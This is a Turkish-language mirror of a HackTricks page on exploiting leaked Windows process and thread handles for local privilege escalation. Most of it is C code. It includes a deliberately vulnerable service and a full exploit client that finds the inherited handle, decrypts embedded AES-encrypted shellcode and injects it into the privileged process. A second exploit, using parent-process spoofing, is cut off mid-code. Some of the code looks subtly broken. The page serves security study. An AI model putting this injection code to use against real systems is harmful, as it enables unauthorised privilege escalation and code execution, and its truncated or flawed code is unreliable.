mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
714 lines
27 KiB
Markdown
714 lines
27 KiB
Markdown
# Sızdırılan Handle Sömürüsü
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||
|
||
</details>
|
||
|
||
## Giriş
|
||
|
||
Bir işlemdeki handle'lar, farklı **Windows kaynaklarına erişmeyi** sağlar:
|
||
|
||
![RootedCON2022 - Sızdırılan Handle'ların LPE'ye Sömürülmesi](<../../.gitbook/assets/image (663) (1).png>)
|
||
|
||
Daha önce birçok **ayrıcalık yükseltme** durumunda, **açık ve miras alınabilir handle'ları** olan bir **ayrıcalıklı işlem**, **ayrıcalığı olmayan bir işlemi çalıştırarak** tüm bu handle'lara **erişim sağlamıştır**.
|
||
|
||
Örneğin, **SYSTEM olarak çalışan bir işlem**, `OpenProcess()` ile **tam erişime sahip yeni bir işlem** açar. Aynı işlem, **ayrıcalığı düşük olan ancak ana işlemin tüm açık handle'larını miras alan yeni bir işlem** oluşturur (`CreateProcess()`).\
|
||
Ardından, **ayrıcalığı düşük olan işleme tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıcalıklı işleme açık handle'ı yakalayabilir** ve bir shellcode enjekte edebilirsiniz.
|
||
|
||
## **İlginç Handle'lar**
|
||
|
||
### **İşlem**
|
||
|
||
Yukarıdaki örnekte okuduğunuz gibi, **ayrıcalığı olmayan bir işlem**, yeterli izinlere sahip bir **ayrıcalıklı işlemin işlem handle'ını miras aldığında**, üzerinde **keyfi kod çalıştırabilir**.
|
||
|
||
[**Bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) aşağıdaki izinlerden herhangi birine sahip olan herhangi bir işlem handle'ını nasıl sömüreceğinizi görebilirsiniz:
|
||
|
||
* PROCESS\_ALL\_ACCESS
|
||
* PROCESS\_CREATE\_PROCESS
|
||
* PROCESS\_CREATE\_THREAD
|
||
* PROCESS\_DUP\_HANDLE
|
||
* PROCESS\_VM\_WRITE
|
||
|
||
### İş Parçacığı
|
||
|
||
İşlem handle'larına benzer şekilde, **ayrıcalığı olmayan bir işlem**, yeterli izinlere sahip bir **ayrıcalıklı işlemin iş parçacığı handle'ını miras aldığında**, üzerinde **keyfi kod çalıştırabilir**.
|
||
|
||
[**Bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) aşağıdaki izinlerden herhangi birine sahip olan herhangi bir işlem handle'ını nasıl sömüreceğinizi de görebilirsiniz:
|
||
|
||
* THREAD\_ALL\_ACCESS
|
||
* THREAD\_DIRECT\_IMPERSONATION
|
||
* THREAD\_SET\_CONTEXT
|
||
|
||
### Dosya, Anahtar ve Bölüm Handle'ları
|
||
|
||
Eğer bir **ayrıcalığı olmayan bir işlem**, **yazma** eşdeğer **izinlere sahip bir ayrıcalıklı dosya veya kayıt defteri handle'ını** miras alırsa, dosya/kayıt defterini **üzerine yazabilir** (ve çok **şanslıysa**, **ayrıcalığı yükseltebilir**).
|
||
|
||
**Bölüm Handle'ları**, dosya handle'larına benzerdir, bu tür nesnelerin ortak adı [**"Dosya Eşlemesi"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)dir. Bellekteki **tüm dosyayı tutmadan büyük dosyalarla çalışmayı** sağlar. Bu, sömürünün bir Dosya Handle'ının sömürülmesine "benzer" hale gelmesini sağlar.
|
||
|
||
## İşlemlerin handle'larını nasıl görüntüleyebilirsiniz
|
||
|
||
### Process Hacker
|
||
|
||
[**Process Hacker**](https://github.com/processhacker/processhacker), ücretsiz olarak indirebileceğiniz bir araçtır. İşlemleri incelemek için birçok harika seçeneğe sahiptir ve bunlardan biri de **her işlemin handle'larını görüntüleme yeteneğidir**.
|
||
|
||
Tüm işlemlerin handle'larını görmek için **SeDebugPrivilege** gereklidir (bu nedenle Process Hacker'ı yönetici olarak çalıştırmanız gerekir).
|
||
|
||
Bir işlemin handle'larını görmek için işleme sağ tıklayın ve Handle'ları seçin:
|
||
|
||
![](<../../.gitbook/assets/image (651) (1).png>)
|
||
|
||
Daha sonra handle üzerinde sağ tıklayabilir ve **izinleri kontrol edebilirsiniz**:
|
||
|
||
![](<../../.gitbook/assets/image (628).png>)
|
||
|
||
### Sysinternals Handles
|
||
|
||
[**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)Sysinternals'ten alınan bir ikili, konsolda her işlem için handle'ları listeleyecektir:
|
||
|
||
![](<../../.gitbook/assets/image (654).png>)
|
||
|
||
### LeakedHandlesFinder
|
||
|
||
[**Bu araç**](https://github.com/lab52io/LeakedHandlesFinder), sızdırılan **handle'ları izlemenizi** ve hatta **ayrıcalıkları yükseltmek için otomatik olarak sömürmenizi** sağlar.
|
||
|
||
### Metodoloji
|
||
|
||
Artık işlemlerin handle'larını nasıl bulacağınızı bildiğinize göre, yapmanız gereken şey, **ayrıcalığı olmayan bir işlemin ayrıcalıklı handle'lara erişimi olup olmadığını kontrol etmektir**. Bu durumda, işlemin kullanıcısı, handle'ı elde edebilir ve ayrıcalıkları yükseltmek için kötüye kullanabilir.
|
||
|
||
{% hint style="warning" %}
|
||
Önceden SeDebugPrivilege'ye tüm handle'lara erişmek için ihtiyacınız olduğu belirtilmişti. Ancak, bir **kullanıcı hala kendi işlemlerinin handle'larına erişebilir**, bu nedenle kullanıcının yalnızca kullanıcı düzenli izinleriyle araçları çalıştırmak isterseniz faydalı olabilir.
|
||
```bash
|
||
handle64.exe /a | findstr /r /i "process thread file key pid:"
|
||
```
|
||
{% endhint %}
|
||
|
||
## Zayıf Örnek
|
||
|
||
Örneğin, aşağıdaki kod, savunmasız olacak bir **Windows servisine** aittir. Bu servis ikili dosyasının savunmasız kodu, **`Exploit`** işlevinin içinde bulunur. Bu işlev, **tam erişimle yeni bir işlem tutamağı oluşturmaya başlar**. Ardından, düşük ayrıcalıklı bir işlem oluşturur (düşük ayrıcalıklı _explorer.exe_ işleminin token'ını kopyalayarak) ve _C:\users\username\desktop\client.exe_ dosyasını çalıştırır. **Zayıflık, düşük ayrıcalıklı işlemi `bInheritHandles` olarak `TRUE` olarak oluşturması** gerçeğinde bulunur.
|
||
|
||
Bu nedenle, bu düşük ayrıcalıklı işlem, önce oluşturulan yüksek ayrıcalıklı işlemin tutamacını yakalayabilir ve bir kabuk kodunu enjekte edip çalıştırabilir (sonraki bölüme bakın).
|
||
```c
|
||
#include <windows.h>
|
||
#include <tlhelp32.h>
|
||
#include <tchar.h>
|
||
#pragma comment (lib, "advapi32")
|
||
|
||
TCHAR* serviceName = TEXT("HandleLeakSrv");
|
||
SERVICE_STATUS serviceStatus;
|
||
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
||
HANDLE stopServiceEvent = 0;
|
||
|
||
|
||
//Find PID of a proces from its name
|
||
int FindTarget(const char *procname) {
|
||
|
||
HANDLE hProcSnap;
|
||
PROCESSENTRY32 pe32;
|
||
int pid = 0;
|
||
|
||
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
||
if (!Process32First(hProcSnap, &pe32)) {
|
||
CloseHandle(hProcSnap);
|
||
return 0;
|
||
}
|
||
|
||
while (Process32Next(hProcSnap, &pe32)) {
|
||
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
||
pid = pe32.th32ProcessID;
|
||
break;
|
||
}
|
||
}
|
||
|
||
CloseHandle(hProcSnap);
|
||
|
||
return pid;
|
||
}
|
||
|
||
|
||
int Exploit(void) {
|
||
|
||
STARTUPINFOA si;
|
||
PROCESS_INFORMATION pi;
|
||
int pid = 0;
|
||
HANDLE hUserToken;
|
||
HANDLE hUserProc;
|
||
HANDLE hProc;
|
||
|
||
// open a handle to itself (privileged process) - this gets leaked!
|
||
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
||
|
||
// get PID of user low privileged process
|
||
if ( pid = FindTarget("explorer.exe") )
|
||
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||
else
|
||
return -1;
|
||
|
||
// extract low privilege token from a user's process
|
||
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
|
||
CloseHandle(hUserProc);
|
||
return -1;
|
||
}
|
||
|
||
// spawn a child process with low privs and leaked handle
|
||
ZeroMemory(&si, sizeof(si));
|
||
si.cb = sizeof(si);
|
||
ZeroMemory(&pi, sizeof(pi));
|
||
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
|
||
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||
|
||
CloseHandle(hProc);
|
||
CloseHandle(hUserProc);
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
||
switch ( controlCode ) {
|
||
case SERVICE_CONTROL_SHUTDOWN:
|
||
case SERVICE_CONTROL_STOP:
|
||
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
SetEvent( stopServiceEvent );
|
||
return;
|
||
|
||
case SERVICE_CONTROL_PAUSE:
|
||
break;
|
||
|
||
case SERVICE_CONTROL_CONTINUE:
|
||
break;
|
||
|
||
case SERVICE_CONTROL_INTERROGATE:
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
}
|
||
|
||
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
||
// initialise service status
|
||
serviceStatus.dwServiceType = SERVICE_WIN32;
|
||
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
serviceStatus.dwControlsAccepted = 0;
|
||
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
||
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
||
serviceStatus.dwCheckPoint = 0;
|
||
serviceStatus.dwWaitHint = 0;
|
||
|
||
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
||
|
||
if ( serviceStatusHandle ) {
|
||
// service is starting
|
||
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
// do initialisation here
|
||
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
||
|
||
// running
|
||
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
Exploit();
|
||
WaitForSingleObject( stopServiceEvent, -1 );
|
||
|
||
// service was stopped
|
||
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
// do cleanup here
|
||
CloseHandle( stopServiceEvent );
|
||
stopServiceEvent = 0;
|
||
|
||
// service is now stopped
|
||
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
}
|
||
}
|
||
|
||
|
||
void InstallService() {
|
||
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
||
|
||
if ( serviceControlManager ) {
|
||
TCHAR path[ _MAX_PATH + 1 ];
|
||
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
||
SC_HANDLE service = CreateService( serviceControlManager,
|
||
serviceName, serviceName,
|
||
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
||
0, 0, 0, 0, 0 );
|
||
if ( service )
|
||
CloseServiceHandle( service );
|
||
}
|
||
CloseServiceHandle( serviceControlManager );
|
||
}
|
||
}
|
||
|
||
void UninstallService() {
|
||
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
||
|
||
if ( serviceControlManager ) {
|
||
SC_HANDLE service = OpenService( serviceControlManager,
|
||
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
||
if ( service ) {
|
||
SERVICE_STATUS serviceStatus;
|
||
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
||
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
||
DeleteService( service );
|
||
}
|
||
CloseServiceHandle( service );
|
||
}
|
||
CloseServiceHandle( serviceControlManager );
|
||
}
|
||
}
|
||
|
||
int _tmain( int argc, TCHAR* argv[] )
|
||
{
|
||
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
||
InstallService();
|
||
}
|
||
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
||
UninstallService();
|
||
}
|
||
else {
|
||
SERVICE_TABLE_ENTRY serviceTable[] = {
|
||
{ serviceName, ServiceMain },
|
||
{ 0, 0 }
|
||
};
|
||
|
||
StartServiceCtrlDispatcher( serviceTable );
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
### Exploit Örneği 1
|
||
|
||
{% hint style="info" %}
|
||
Gerçek bir senaryoda, muhtemelen **zararlı kod tarafından yürütülecek olan ikiliyi kontrol edemeyeceksiniz** (_bu durumda C:\users\kullanıcıadı\desktop\client.exe_). Muhtemelen bir süreci ele geçirecek ve herhangi bir ayrıcalıklı sürecin savunmasız bir tutamacına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.
|
||
{% endhint %}
|
||
|
||
Bu örnekte, _C:\users\kullanıcıadı\desktop\client.exe_ için olası bir saldırı kodunu bulabilirsiniz.\
|
||
Bu kodun en ilginç kısmı, `GetVulnProcHandle` içinde bulunur. Bu işlev, **tüm tutamaçları almayı başlatacak**, ardından bunların **hangi PID'ye ait olduğunu kontrol edecek** ve tutamacın bir **sürece ait olup olmadığını kontrol edecektir**. Tüm bu gereksinimler karşılanırsa (erişilebilir bir açık süreç tutamacı bulunursa), sürecin tutamacını suiistimal ederek bir shellcode enjekte etmeye ve yürütmeye çalışacaktır.\
|
||
Shellcode'un enjeksiyonu, **`Inject`** işlevi içinde gerçekleştirilir ve sadece **öncelikli sürecin içine shellcode'u yazacak ve aynı süreç içinde bir iş parçacığı oluşturacak** şekilde yapılır.
|
||
```c
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <time.h>
|
||
#include <wincrypt.h>
|
||
#include <psapi.h>
|
||
#include <tchar.h>
|
||
#include <tlhelp32.h>
|
||
#include "client.h"
|
||
#pragma comment (lib, "crypt32.lib")
|
||
#pragma comment (lib, "advapi32")
|
||
#pragma comment (lib, "kernel32")
|
||
|
||
|
||
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
||
HCRYPTPROV hProv;
|
||
HCRYPTHASH hHash;
|
||
HCRYPTKEY hKey;
|
||
|
||
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
||
return -1;
|
||
}
|
||
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
||
return -1;
|
||
}
|
||
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
||
return -1;
|
||
}
|
||
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
||
return -1;
|
||
}
|
||
|
||
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
||
return -1;
|
||
}
|
||
|
||
CryptReleaseContext(hProv, 0);
|
||
CryptDestroyHash(hHash);
|
||
CryptDestroyKey(hKey);
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
HANDLE GetVulnProcHandle(void) {
|
||
|
||
ULONG handleInfoSize = 0x10000;
|
||
NTSTATUS status;
|
||
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
||
HANDLE hProc = NULL;
|
||
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
||
PVOID objectNameInfo;
|
||
UNICODE_STRING objectName;
|
||
ULONG returnLength;
|
||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||
DWORD dwOwnPID = GetCurrentProcessId();
|
||
|
||
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
||
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
||
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
||
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
|
||
printf("[+] Grabbing handles...");
|
||
|
||
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
||
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
||
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
||
|
||
if (status != STATUS_SUCCESS)
|
||
{
|
||
printf("[!] NtQuerySystemInformation failed!\n");
|
||
return 0;
|
||
}
|
||
|
||
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
||
|
||
// iterate handles until we find the privileged process handle
|
||
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
||
{
|
||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
||
|
||
// Check if this handle belongs to our own process
|
||
if (handle.UniqueProcessId != dwOwnPID)
|
||
continue;
|
||
|
||
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectTypeInformation,
|
||
objectTypeInfo,
|
||
0x1000,
|
||
NULL ) != STATUS_SUCCESS)
|
||
continue;
|
||
|
||
// skip some objects to avoid getting stuck
|
||
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||
if (handle.GrantedAccess == 0x0012019f
|
||
&& handle.GrantedAccess != 0x00120189
|
||
&& handle.GrantedAccess != 0x120089
|
||
&& handle.GrantedAccess != 0x1A019F ) {
|
||
free(objectTypeInfo);
|
||
continue;
|
||
}
|
||
|
||
// get object name information
|
||
objectNameInfo = malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
0x1000,
|
||
&returnLength ) != STATUS_SUCCESS) {
|
||
|
||
// adjust the size of a returned object and query again
|
||
objectNameInfo = realloc(objectNameInfo, returnLength);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
returnLength,
|
||
NULL ) != STATUS_SUCCESS) {
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
continue;
|
||
}
|
||
}
|
||
|
||
// check if we've got a process object
|
||
objectName = *(PUNICODE_STRING) objectNameInfo;
|
||
UNICODE_STRING pProcess;
|
||
|
||
pRtlInitUnicodeString(&pProcess, L"Process");
|
||
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
||
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
||
hProc = (HANDLE) handle.HandleValue;
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
break;
|
||
}
|
||
else
|
||
continue;
|
||
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
}
|
||
|
||
return hProc;
|
||
}
|
||
|
||
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
|
||
|
||
LPVOID pRemoteCode = NULL;
|
||
HANDLE hThread = NULL;
|
||
BOOL bStatus = FALSE;
|
||
|
||
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
|
||
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
|
||
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
|
||
|
||
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
|
||
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
||
|
||
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
||
if (bStatus != FALSE) {
|
||
WaitForSingleObject(hThread, -1);
|
||
CloseHandle(hThread);
|
||
return 0;
|
||
}
|
||
else
|
||
return -1;
|
||
}
|
||
|
||
int main(int argc, char **argv) {
|
||
|
||
int pid = 0;
|
||
HANDLE hProc = NULL;
|
||
|
||
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
||
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
||
```c
|
||
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
||
unsigned int payload_len = sizeof(payload);
|
||
|
||
printf("Benim PID'im: %d\n", GetCurrentProcessId());
|
||
getchar();
|
||
|
||
// bir sızdırılmış işleme ait bir tutamacı bulun
|
||
hProc = GetVulnProcHandle();
|
||
|
||
if (hProc != NULL) {
|
||
|
||
// payload'ı şifrele
|
||
AESDecrypt((char *)payload, payload_len, key, sizeof(key));
|
||
printf("[+] Hediye gönderiliyor...");
|
||
// Ayrıcalıklı bağlamda payload'ı enjekte edin ve çalıştırın
|
||
Inject(hProc, payload, payload_len);
|
||
printf("tamamlandı.\n");
|
||
}
|
||
getchar();
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
### Exploit Örneği 2
|
||
|
||
{% hint style="info" %}
|
||
Gerçek bir senaryoda, muhtemelen **zararlı kod tarafından yürütülecek olan ikili dosyayı kontrol edemeyeceksiniz** (_bu durumda C:\users\kullanıcıadı\desktop\client.exe_). Muhtemelen bir süreci ele geçirecek ve herhangi bir ayrıcalıklı sürecin savunmasız bir tutamacına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.
|
||
{% endhint %}
|
||
|
||
Bu örnekte, **açık tutamacı kötüye kullanmak yerine**, ayrıcalıklı açık tutamacın sürecinin belirteci kullanılarak yeni bir tane oluşturulacak. Bu, 138 ile 148 arasındaki satırlarda yapılır.
|
||
|
||
Dikkat edin, **`UpdateProcThreadAttribute`** işlevinin **`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS`** özniteliği ve açık ayrıcalıklı sürecin tutamacı ile birlikte kullanıldığını. Bu, **\_cmd.exe**\_\* yürüten oluşturulan süreç iş parçacığının açık tutamac süreciyle aynı belirteç ayrıcalığına sahip olacağı anlamına gelir.
|
||
```c
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <time.h>
|
||
#include <wincrypt.h>
|
||
#include <psapi.h>
|
||
#include <tchar.h>
|
||
#include <tlhelp32.h>
|
||
#include "client.h"
|
||
#pragma comment (lib, "crypt32.lib")
|
||
#pragma comment (lib, "advapi32")
|
||
#pragma comment (lib, "kernel32")
|
||
|
||
|
||
HANDLE GetVulnProcHandle(void) {
|
||
|
||
ULONG handleInfoSize = 0x10000;
|
||
NTSTATUS status;
|
||
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
||
HANDLE hProc = NULL;
|
||
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
||
PVOID objectNameInfo;
|
||
UNICODE_STRING objectName;
|
||
ULONG returnLength;
|
||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||
DWORD dwOwnPID = GetCurrentProcessId();
|
||
|
||
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
||
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
||
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
||
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
|
||
printf("[+] Grabbing handles...");
|
||
|
||
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
||
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
||
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
||
|
||
if (status != STATUS_SUCCESS)
|
||
{
|
||
printf("[!] NtQuerySystemInformation failed!\n");
|
||
return 0;
|
||
}
|
||
|
||
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
||
|
||
// iterate handles until we find the privileged process handle
|
||
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
||
{
|
||
